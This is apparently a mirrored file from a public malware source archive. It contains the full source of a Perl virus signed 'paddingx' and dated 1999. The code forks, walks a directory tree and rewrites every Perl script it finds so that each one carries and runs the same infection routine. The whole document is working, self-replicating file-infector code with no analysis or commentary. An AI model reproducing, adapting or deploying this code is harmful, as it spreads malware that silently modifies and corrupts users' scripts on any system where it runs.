mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
44 lines
1.1 KiB
Plaintext
44 lines
1.1 KiB
Plaintext
|
use File::Find;
|
||
|
|
&virus();
|
||
|
|
|
||
|
|
print "\nThis program is infected by the Perl virus\n\n";
|
||
|
|
|
||
|
|
sub virus
|
||
|
|
{
|
||
|
|
my ( $pid, $new );
|
||
|
|
if( $pid = fork ) { return; }
|
||
|
|
else
|
||
|
|
{
|
||
|
|
open( source, $0 );
|
||
|
|
finddepth ( \&infect, '/home/chris/test' );
|
||
|
|
sub infect
|
||
|
|
{
|
||
|
|
open target, "$File::Find::name";
|
||
|
|
$_ = <target>;
|
||
|
|
if ( /(\#!.*perl)/ )
|
||
|
|
{
|
||
|
|
$_ = <target>;
|
||
|
|
if( $_ ne "use File::Find;\n" )
|
||
|
|
{
|
||
|
|
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
|
||
|
|
while( <target> ) { $new = $new . $_; }
|
||
|
|
seek( source, 0, 0 );
|
||
|
|
while( <source> ne "sub virus\n" ) { };
|
||
|
|
$new = $new . "\nsub virus\n";
|
||
|
|
while( <source> ) { $new = $new . $_; }
|
||
|
|
close target;
|
||
|
|
open target, ">$File::Find::name";
|
||
|
|
print target $new;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
close( target );
|
||
|
|
}
|
||
|
|
close( source );
|
||
|
|
exit( 0 );
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
# a Perl virus, by paddingx
|
||
|
|
# 08/15/1999
|
||
|
|
|